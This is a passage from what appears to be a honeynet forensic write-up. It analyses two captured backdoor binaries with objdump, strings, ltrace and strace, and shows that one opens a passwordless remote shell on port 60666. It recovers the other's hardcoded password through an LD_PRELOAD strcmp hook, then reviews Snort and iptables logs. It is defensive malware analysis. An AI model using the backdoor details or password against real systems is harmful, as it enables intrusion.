08048890      DF *UND*  0000003a  GLIBC_2.0   listen
080488e0      DF *UND*  00000037  GLIBC_2.0   chdir
08048900      DF *UND*  0000003b  GLIBC_2.0   setpgid
08048940      DF *UND*  0000003a  GLIBC_2.0   bind
08048950      DF *UND*  00000071  GLIBC_2.0   memcpy
08048990      DF *UND*  0000003d  GLIBC_2.0   ioctl
080489b0      DF *UND*  0000003b  GLIBC_2.0   kill
080489c0      DF *UND*  0000002d  GLIBC_2.0   sprintf
080489d0      DF *UND*  0000003a  GLIBC_2.0   socket
080489e0      DF *UND*  0000003d  GLIBC_2.0   read
080489f0      DF *UND*  0000008b  GLIBC_2.0   strcpy
[...others...]
```

Several were snipped, but this is about all you need for a good back door (these are viewable with strings, too, for the most part). Aside from what has already been pointed out, the strings output is actually pretty helpful:

```
/dev/ptmx
/dev/pty
/dev/tty
Daemon is starting...
OK, pid = %d
/dev/null
HOME=%s
Can't fork pty, bye!
/bin/sh
```

So, the strings and objdump output (at least the -T flag) is helpful because it's quick and easy, but you lose some context and parameters. odbjump can do disassembly as well, and I especially like the -s flag. Take a second and 'objdump -s t | less' and then skip to the '.rodata' section of the code. This is the section where 99% of the strings output comes from. You'll notice that our files 'a' and 't' have some undeniable similarities (such as /dev/ptmx).

Now let's take a hike from all the static analysis and watch some real-time behavior. I'll start with an ltrace of 'a', but restrict the presentation to the section of code we looked at with gdb:

```
socket(2, 1, 6)                                                                  = 3
bzero(0xbffff6f0, 16)                                                            =
htonl(0, 16, 6, 0, 0)                                                            = 0
htons(60666, 16, 6, 0, 0)                                                        = 64236
bind(3, 0xbffff6f0, 16, 0, 0)                                                    = 0
listen(3, 5, 16, 0, 0)                                                           = 0
printf("Daemon is starting...")                                                  = 21
fflush(0x401255c0Daemon is starting...)                                                                    = 0
fork()                                                                           = 4022
printf("OK, pid = %d\n", 4022OK, pid = 4022
)                                                          = 15
```

That's a bit more comprehendable than all the gdb stuff because we're working at a higher level now. But, library calls can be spoofed by sophisticated malware, however system calls cannot. System calls cannot go undetected, nor can they lie about the system call name. Check out the strace of 'a'

```
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(60666), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 25), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40018000
write(1, "Daemon is starting...", 21Daemon is starting...)   = 21
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x401300c8) = 4023
write(1, "OK, pid = 4023\n", 15OK, pid = 4023
)        = 15
```

NOW we're talking! Notice the pid was 4022 in the ltrace but 4023 in the strace. The kernel won't allow more than one strace (or any other monitoring process) to attach/intercept the calls of another process at any given time; so it had to be done twice, each generating it's own PID. Nonetheless, we have accomplished what we set out to do – verify that 'a' opens a socket on TCP 60666 (which is hard coded) and serves up a remote shell.

11. Hacking t in Vmware (Just For Fun) [TOC]

During the dynamic code analysis phase, we realized that while 'a' spawns a back door with no password, 't' is better protected – it does require authentication. Dan Farmer and Wietse Venema's Forensic Discovery, [16] shows a quick example of shared library call redirection, which we adopted for testing purposes. The challenge was to learn t's password without using strings or static analysis.

```
# cat strcmp.c
 int strcmp(const char *a1, const char *a2)
{
  printf("strcmp call arguments: \"%s\" and \"%s\"\n", a1, a2);
  exit(0);
}

# gcc -shared -o strcmp.so strcmp.c

# LD_PRELOAD=`pwd`/strcmp.so ./t
Sa vedem ...
Se deschide pe portul urmator 4000
Mergeeeeee pidu=4167

# lsof -p 4167
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
t 4167 root cwd DIR 8,2 488 2 /
t 4167 root rtd DIR 8,2 488 2 /
t 4167 root txt REG 8,2 21201 41718 /root/SotM34/t
t 4167 root mem REG 8,2 104484 3091 /lib/ld-2.3.3.so
t 4167 root mem REG 8,2 6197 41747 /root/SotM34/strcmp.so
t 4167 root mem REG 8,2 1349081 3117 /lib/tls/libc.so.6
t 4167 root 0u CHR 1,3 20412 /dev/null
t 4167 root 1u CHR 1,3 20412 /dev/null
t 4167 root 2u CHR 1,3 20412 /dev/null
t 4167 root 3u IPv4 8707 TCP *:terabase (LISTEN)
```

Now try connecting and entering anything for the password:

```
# telnet 192.168.0.101 4000
Trying 192.168.0.101...
Connected to 192.168.0.101.
Escape character is '^]'.
Let`s See The PassWord First
lkdjfd
Access Denied
```

It doesn't print the password to the remote terminal, but if you do an strace on the infected machine, it shows up as “macarena”:

```
# strace -f -p 4167 -e trace=read,write -e write=3 -e read=5
Process 4167 attached - interrupt to quit
Process 4267 attached
[pid 4167] write(1, "strcmp call arguments: \"macarena"..., 47) = 47
Process 4167 detached
```

12. Get_quiet_hosts.pl Script [TOC]

```
This script was used to determine which IP addresses on the honeynet were hiding from pings.
We were attempting to identify the address of bridge or bastion.

#!/usr/bin/perl
# Which IP addresses were scanned but did not reply to pings??
open(A,"livehosts.txt") or die "no file: $!";
while() {
        $host = $_; chomp $host;
        $do_reply{$host}=1;
}
close(A);
open(Z,"snortsyslog") or die "no file: $!";
while() {
        if (/(.+)\s->\s(((\d{1,3}\.){3}\d{1,3}):?(\d{1,5})?)/) {
                $host = $3;
                if (exists $do_reply{$3}) { next; }
                elsif ($host =~ /^11\.11\./) { push @no_reply, $host; }
                else { ; }
        }
        else { ; } # print "$_"; } # this is how we found the typo
}
close(Z);
foreach $ip (@no_reply) { print "$ip\n"; }

11.11.79.64 was the only one that didn't reply to pings:

# perl get_quiet_hosts.pl | uniq
11.11.79.64

This verifies that 11.11.79.64 did in fact receive echo requests:

# grep 1:384:5 snortsyslog | grep 11.11.79.64 | wc -l
136
```

13. Odds and Ends [TOC]

The following Snort rule has a major error in it that we don't have an explanation for. There is an extra '.' character after the source IP address, which may suggest an accident during log file sanitizing by the author; or it could be a a result of tampering by one of the attackers. We don't have any proof one way or the other.

```
Mar 22 08:43:16 bastion snort: [1:402:7] ICMP Destination Unreachable Port Unreachable [Classification: Misc activity] [Priority: 3]: {ICMP} 213.158.110.22.-> 11.11.79.73
```

14. Outbound Connection Rate Limiting [TOC]

The device named bridge did not seem to have many restrictions on which traffic it allowed in and out of the honeynet. On a few occasions, however, it does seem to drop some packets, such as the following:

```
Feb 26 19:02:37 bridge kernel: Drop TCP after 17 attemptsIN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=129.27.3.14 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=57325 DF PROTO=TCP SPT=1068 DPT=6667 WINDOW=5840
RES=0x00 SYN URGP=0
Mar  5 13:42:39 bridge kernel: Drop TCP after 17 attemptsIN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=195.115.0.14 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=26515 DF PROTO=TCP SPT=2241 DPT=22 WINDOW=5840
RES=0x00 SYN URGP=0
Mar 24 18:59:22 bridge kernel: Drop udp after 23 attemptsIN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=11.11.79.65 LEN=93 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=UDP SPT=514 DPT=514 LEN=73
```

Before describing what this really reveals, take a look at the actual entry as it relates to the “attemptsIN” section. This is interesting because it caused us to miss these lines with regular expressions that specified there must be a space between these two words. Undoubtedly, the administrator who configured IPTables on bridge did not place a space at the end of his –log-info argument. More importantly, this shows that although bridge was not filtering packets on header or payload, it may have been configured for rate limiting of outbound connections. With one of these rules in particular (the DPT=22 to DST=195.115.0.14) we can even guess what that rate limit was (10/second with a burst between 1-3). We can make this speculation because the first 13 packets during the second of 13:42:39, passed through bridge unhindered (to 195.115.0.1 – 195.115.0.13). This is a wise move on the part of the author because it allows the attackers to get just far enough so we can observe his actions, but not far enough to launch any denial of service attacks on innocent targets from the author's honeynet.

We can also observe here that combo is configured for remote syslog – to 11.11.79.65. We know that this is not one of combo's own IP addresses, so it probably belongs to bridge, bastion, or another host on the local network. In Appendix 12, we determined that 11.11.79.64 was not responding to pings, yet we know it was the recipient of over 100 echo requests. This could of course mean that 11.11.79.64 does not exist, however we believe that .64 and .65 were intentionally configured to ignore this type of traffic to stay hidden from attackers (at least initially). These are two good candidates for the IP address of monitoring systems.

15. References [TOC]

[1]. This reference was used to determine the versions of standard Red Hat 9 packages. Red Hat Linux FTP depository for default packages.
[2]. This documents and provides a PoC for the Awstats vulnerability. FrSIRT: AWStats "configdir" Remote Command Execution Exploit
[3]. This software was used to analyze unknown malware in a controlled environment. Vmware: Virtual Machine Software.
[4]. This reference was used to understand some of the C library functions used in the a and t back doors. The GNU C Library Reference Manual
[5]. This reference was used to compare Internet traffic patterns logged by the honeynet with the rest of the world. Dsheld Distributed Intrusion Detection System.
[6]. In his book, Cliff lures hackers with sensitive seeming data, so that he can observe them closely. Stohl, Cliff. The Cuckoo's Egg. New York, Pocket Books, 1990.
[7]. This document describes the use and interpretation of HTTP status codes. RFC 2616 - Hypertext Transfer Protocol – HTTP/1.1
[8]. This reference was used to single out the application that left unique User Agent strings in Apache's logs. PXYS - IRC(u) Network ProxyScanner on SourceForge
[9]. This documents and provides a PoC for the mod_ssl worm. CERT Advisory: CA-2002-27 Apache/mod_ssl Worm.
[10]. This documents and provides a PoC for the rpc.statd vulnerability. SecurityFocus: Multiple Linux Vendor rpc.statd Remote Format String Vulnerability
[11]. This reference was used to compare logs of successful rcp.statd exploits with our own. CERT Advisory: CA-2000-17 Input Validation Problem in rpc.statd
[12]. This document describes the Transport Control Protocol. RFC 793 - Transmission Control Protocol.
[13]. This is an online tool for free multi-vendor malware testing. VirusTotal: Free, online, multi-vendor malware scanner.
[14]. This article shows some interesting facts about the .comment sections of ELF binaries: http://www.trilithium.com/johan/2004/12/gcc-ident-strings/
[15]. Sun's mcs tool: Manipulate the Comment Section of an Object File.
[16]. The authors of this book redirect the strcmp() call of malware to alter it's behavior. Farmer, Dan and Wietse Venema. Forensic Discovery. Addison-Wesley, 2005.